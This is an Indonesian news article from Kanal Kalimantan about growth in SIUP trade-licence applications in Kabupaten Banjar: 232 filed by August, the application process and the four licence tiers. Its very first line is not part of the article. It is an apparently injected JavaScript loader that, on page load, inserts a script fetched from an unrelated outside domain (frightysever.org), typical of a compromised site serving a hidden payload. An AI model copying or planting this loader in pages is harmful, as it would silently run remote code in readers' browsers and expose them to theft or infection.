(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Iklim usaha di Kabupaten Banjar menunjukan pertumbuhan positif. Setidaknya, hingga Agustus lalu sudah ada 232 pengurusan Surat Izin Usaha Perdagangan (SIUP) diajukan ke Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Banjar.
Kepala Bidang Pelayanan Perizinan Jasa Usaha Harjunadi SE mengatakan, pertumbuhan usaha khususnya di Kabupaten Banjar menunjukan tren yang positif dan cenderung mengalami peningkatan, hal ini dibuktikan dengan banyaknya izin yang diurus masyarakat.
“Di kita (DPMPTSP) hingga Agustus sudah ada sebanyak 232 pengurusan SIUP yang dilakukan, itu membuktikan bahwa dunia usaha terus tumbuh dan berkembang di Kabupaten Banjar,†akunya.
Jika dilihat dari tahun 2017, ada 475 pengurusan SIUP yang telah dikeluarkan DPMPTSP Kabupaten Banjar, dan tidak menutup kemungkinan hingga akhir tahun 2018 permintaan perizinan SIUP akan terus bertambah.
Dijelaskan Harjunaidi, setiap perusahaan, koperasi, persekutuan maupun perusahaan perseorangan, yang melakukan kegiatan usaha perdagangan wajib memperoleh SIUP yang diterbitkan berdasarkan domisili perusahaan dan berlaku di seluruh wilayah Republik Indonesia.
“SIUP ini dibutuhkan oleh pelaku usaha perseorangan maupun pelaku usaha yang telah berbadan hokum, agar mendapatkan pengakuan dan pengesahan dari pihak pemerintah. Hal ini untuk menghindari masalah yang dapat mengganggu perkembangan usaha kemudian hari,†ujarnya.
Ditambahkannya bagi siapa saja yang mau membuat SIUP, bisa datang langsung ke DPMPTSP dengan membawa berkas yang sudah disyaratkan, walaupun pelayanan masih dengan cara manual. Namun ke depan dalam waktu dekat pihaknya akan mempermudah perizinan tersebut melalui system online.
“Sekarang bagi siapa saja yang mau berurusan untuk pembuatan SIUP kita masih layani secara manual, dalam beberapa waktu dekat ini kita akan melakukan permudahan pelayanan yaitu secara online,†papar Harjunadi.
Perlu diketahui SIUP itu sendiri terbagi menjadi 4 seperti SIUP mikro diberikan kepada perusahaan perdagangan mikro, dengan modal dan kekayaan bersih seluruhnya tidak lebih dari Rp 50 juta. SIUP kecil, wajib dimiliki perusahaan perdagangan dengan modal dan kekayaan bersih sebesar Rp 50 juta-Rp 500 Juta. SIUP menengah wajib dimiliki perusahaan perdagangan dengan modal dan kekayaan Rp 500 juta-Rp 10 miliar. SIUP besar wajib dimiliki perusahaan perdagangan dengan modal dan kekayaan bersih Rp 10 miliar, tidak termasuk tanah dan bangunan tempat usaha. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.